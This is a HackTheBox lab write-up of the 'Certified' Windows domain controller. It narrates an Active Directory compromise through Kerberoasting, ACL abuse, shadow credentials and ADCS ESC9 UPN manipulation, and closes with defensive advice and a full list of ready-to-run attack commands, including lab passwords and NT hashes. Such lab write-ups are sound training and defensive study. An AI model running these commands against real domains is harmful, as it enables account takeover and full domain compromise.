# OSCP Prep #24
HTB Write-Up Certified

# 1\. Target Overview

**Machine Name:** Certified  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:** 10.129.231.186  
**Objective:** Use the provided low-privileged domain credentials to enumerate the Active Directory environment, identify a viable privilege escalation path, and obtain full administrative control over the domain controller.

Certified was a really solid box because it chained together several realistic Active Directory misconfigurations into one clean attack path. Since this was an assumed-breach scenario, I started with valid domain user credentials instead of going in blind. What I liked most was how the box gradually pushed me from normal domain enumeration into ACL abuse, then into account takeover through shadow credentials, and finally into ADCS abuse to reach full domain compromise.

### Tools Used

*   RustScan
    
*   Nmap
    
*   NetExec (`nxc`)
    
*   Impacket
    
*   BloodHound
    
*   RustHound
    
*   bloodyAD
    
*   Certipy
    
*   Evil-WinRM
    

* * *

# 2\. Enumeration

### General Enumeration

I started the engagement the same way I usually do by scanning the target for exposed services. The port scan showed a very typical Active Directory attack surface, including DNS, Kerberos, LDAP, SMB, WinRM, and several high RPC ports.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/61578b7a-4b26-4683-b5f1-cbcd9b55c721.png align="center")

That immediately told me I was dealing with a domain controller and that most of my early progress would likely come from authenticated AD enumeration rather than web exploitation or service-specific bugs.

From the scan and subsequent SMB enumeration, I also learned the host was **DC01** in the **certified.htb** domain. Since the FQDN was exposed, I added **DC01.certified.htb** to my `/etc/hosts` file so my Kerberos- and AD-related tooling would resolve the host correctly. I also took note that the box presented certificate-related infrastructure, which made me keep ADCS in the back of my mind as a possible escalation route later on.

### SMB Enumeration

Because I already had valid domain credentials for **judith.mader**, I moved straight into authenticated SMB enumeration. I first listed the available shares to see whether I had access to any non-default content or any folders that might leak credentials, scripts, or internal documentation.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/20aced79-4023-47fd-b1b9-4bade47cf136.png align="center")

That check only gave me access to standard domain shares. I could read **IPC$**, **NETLOGON**, and **SYSVOL**, but there was nothing immediately unusual about the share permissions. At this point, SMB was useful for confirming my authenticated access level and learning more about the environment, but it did not directly hand me a quick win.

### User Enumeration

Next, I used authenticated SMB-based user enumeration to build a list of domain users I could target later. This gave me several important accounts to track, including **management\_svc** and **ca\_operator**, both of which ended up mattering a lot later in the attack chain.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4a3ceae2-3659-4b27-9309-3445f9fae26a.png align="center")

I also checked whether my current user had any remote access options that would let me pivot into local host enumeration right away, but that path was not available to me yet. Since I could not immediately turn my Judith access into a shell, I stayed focused on domain-level enumeration instead.

### Kerberos Enumeration

With a user list in hand, I tried the obvious Kerberos attacks next. I first performed Kerberoasting and successfully requested a service ticket for **management\_svc**. My first attempt ran into clock skew issues, so I synced my attack box time against the target and repeated the request. After correcting the time, I was able to extract the TGS hash cleanly.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/885d8fae-b87b-4b24-952d-ce9b29d6e6d3.png align="center")

Even though I got the hash, I was not able to crack it offline with my wordlists. That mattered because it meant I had identified a potentially useful service account, but password cracking was not going to be my path forward here.

I also checked the rest of the users for AS-REP roasting opportunities, but none of them had **Do not require Kerberos preauthentication** enabled. That closed off another common early AD attack path and pushed me toward privilege relationships rather than credential attacks.

### ACL and Relationship Enumeration

Since the straightforward credential attacks were not getting me anywhere, I moved to BloodHound-based domain relationship analysis using external collection.

BloodHound showed that my compromised user, **judith.mader**, had **WriteOwner** over the **Management** group. That group in turn had control over **management\_svc**, and **management\_svc** had **GenericAll** over **ca\_operator**. That was the real path forward.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/12a548e2-93a6-483b-a252-45e7418f557f.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4edf6e4f-57e5-4cb4-b1ad-8ee28e4ba090.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/065a6c85-27e8-4a22-ad1b-a5ceb4c4f4c6.png align="center")

I now had a clear route to turn one low-privileged user into control over additional accounts by abusing permissions that had been delegated badly inside the domain.

* * *

# 3\. Exploitation

The first thing I abused was **Judith’s WriteOwner** permission over the **Management** group. I used that to take ownership of the group object, and from there I granted myself the rights I needed over it.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3005b0bb-2c6b-42df-b564-e5cd64b10f4c.png align="center")

Once I controlled the group, I added myself to **Management**, which let me inherit the group’s influence over the next account in the chain.

With that in place, I now had the ability to affect **management\_svc**. I used **shadow credentials** to directly compromise the account.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ba2fe922-8305-49cb-ab4c-699f51c57f01.png align="center")

After taking over **management\_svc**, I repeated the same general idea against **ca\_operator**, because **management\_svc** had **GenericAll** over that user. Again, shadow credentials gave me a direct path to compromise the account without needing to know the original password.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53e318aa-5d7c-456d-b847-2bff49b98b58.png align="center")

This shows how important it is to understand that object control in Active Directory often matters more than the password currently set on the account.

* * *

# 4\. Privilege Escalation

### User Context Validation

Once I had control of **ca\_operator**, I immediately treated that account as a likely ADCS-related foothold based on its name and role. I used **Certipy** to enumerate the certificate infrastructure and look for vulnerable templates that this user could enroll in.

That paid off quickly. I found a vulnerable certificate template, **CertifiedAuthentication**, that was exploitable through **ESC9**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a97421e-4d21-4355-b7be-519d1d98e69d.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/891aeabf-9d81-4428-964b-a845c89f03af.png align="center")

Since **ca\_operator** could enroll in it, I now had a path from delegated account control into full domain compromise.

At a high level, **ESC9** matters because the template does not include the strong security extension that would normally tie the issued certificate more tightly to the original requesting account. That creates room for identity mapping abuse if I can manipulate the account attributes involved in certificate issuance.

### Domain/Host Privilege Escalation

To exploit the template, I needed the issued certificate to be associated with **Administrator** rather than the account I currently controlled. Since **management\_svc** had **GenericAll** over **ca\_operator**, I used that access to temporarily change **ca\_operator’s UPN** to:

`administrator@certified.htb`

With the UPN changed, I requested a certificate from the vulnerable **CertifiedAuthentication** template. That gave me an **administrator.pfx** certificate containing the **administrator@certified.htb** UPN.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/97a67a24-34ae-4bd6-b0fe-dcc74865d0dc.png align="center")

The critical detail here was that I then had to change **ca\_operator’s UPN back to its original value**. That step mattered because if the modified account kept the Administrator UPN, certificate mapping would not resolve the way I wanted during authentication. Restoring the original UPN removed the collision and let the certificate authenticate as the real **Administrator** account instead of continuing to map back to **ca\_operator**.

After restoring the UPN, I authenticated with the PFX and used it to retrieve the **Administrator NT hash**. From there, I used **Evil-WinRM** with the hash and obtained a shell on the box as:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8f22de18-30db-4bdc-92af-82ebbf979aa2.png align="center")

`certified\administrator`

That completed the compromise and gave me full administrative control over the domain controller.

* * *

# 5\. Lessons Learned

**1\. BloodHound paths can be more valuable than cracked credentials.**  
In this box, I did successfully Kerberoast **management\_svc**, but cracking the hash was not necessary. The ACL path I found in BloodHound was the real win condition. That was a good reminder that relationship abuse often beats brute force or offline cracking in modern AD environments.

**2\. Object control is often equivalent to account compromise.**  
Once I had rights like **WriteOwner**, **GenericWrite**, and **GenericAll**, the passwords themselves mattered much less. Shadow credentials turned delegated control into practical account takeover very quickly.

**3\. Assumed-breach boxes still reward disciplined enumeration.**  
Even though I started with valid credentials, the box still required structure. I checked shares, enumerated users, tested Kerberos attacks, and only then pivoted into graph-based ACL analysis. Skipping that process would have made the path much harder to see.

**4\. ADCS attacks often depend on small identity details.**  
The ESC9 portion was not just “request cert, become admin.” The UPN manipulation had to be handled carefully, and restoring the original value was a critical part of getting the mapping to work the way I wanted.

* * *

# 6\. Defensive Insight

**1\. Audit and restrict delegated ACLs on users and groups.**  
This box fell apart because low-privileged control over one object led cleanly into control over the next. Permissions like **WriteOwner**, **GenericWrite**, and **GenericAll** should be reviewed aggressively, especially when they apply across administrative boundaries.

**2\. Monitor for shadow credential abuse.**  
Changes to `msDS-KeyCredentialLink` are high-value events and should be treated seriously. If defenders are not watching for that attribute being modified, attackers can silently turn object control into account compromise.

**3\. Harden certificate templates and enrollment rights.**  
Allowing broadly reachable accounts to enroll in vulnerable templates is dangerous enough on its own. When that is combined with weak template configuration, ADCS becomes a direct privilege escalation platform.

**4\. Reduce identity-mapping abuse opportunities in ADCS.**  
Certificate-based authentication becomes much harder to abuse when templates are configured correctly and strong mapping behavior is enforced. Weak or legacy certificate mapping logic gives attackers room to manipulate identities in ways that should not be possible.

* * *

# Useful Commands

**Port scan**

```bash
rustscan -a 10.129.231.186 -b 4000
```

**Enumerate SMB shares with the provided domain user**

```bash
nxc smb certified.htb -u judith.mader -p judith09 --shares
```

**Enumerate domain users over SMB**

```bash
nxc smb certified.htb -u judith.mader -p judith09 --users
```

**Kerberoast service accounts**

```bash
impacket-GetUserSPNs -request certified.htb/judith.mader -dc-ip 10.129.231.186
```

**Fix clock skew before retrying Kerberos requests**

```bash
sudo ntpdate certified.htb
```

**Take ownership of the Management group**

```bash
bloodyAD -u judith.mader -p judith09 -d certified.htb --host 10.129.231.186 set owner management judith.mader
```

**Grant Judith full control over the Management group**

```bash
bloodyAD -u judith.mader -p judith09 -d certified.htb --host 10.129.231.186 add genericAll management judith.mader
```

**Add shadow credentials to ca\_operator as management\_svc**

```bash
bloodyAD -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 -d certified.htb --host 10.129.231.186 add shadowCredentials ca_operator
```

**Enumerate vulnerable certificate templates**

```bash
certipy find -u ca_operator -hashes b4b86f45c6018f1b664f70805f45d8f2 -target certified.htb -text -stdout -vulnerable
```

**Temporarily change ca\_operator UPN to Administrator**

```bash
certipy account -u management_svc -hashes a091c1832bcdd4677c28b5a6a1295584 -target DC01.certified.htb -upn 'administrator@certified.htb' -user 'ca_operator' update
```

**Request a certificate from the vulnerable template**

```bash
certipy req -k -dc-ip 10.129.231.186 -target DC01.certified.htb -ca certified-DC01-CA -template CertifiedAuthentication
```

**Restore ca\_operator UPN after enrollment**

```bash
certipy account -u management_svc -hashes a091c1832bcdd4677c28b5a6a1295584 -target DC01.certified.htb -upn 'ca_operator@certified.htb' -user 'ca_operator' update
```

**Authenticate with the Administrator PFX and recover the NT hash**

```bash
certipy auth -pfx administrator.pfx -dc-ip 10.129.231.186 -domain certified.htb
```

**Get a shell as Administrator with Evil-WinRM**

```bash
evil-winrm -i 10.129.231.186 -u administrator -H 0d5b49608bbce1751f708748f67e2d34
```
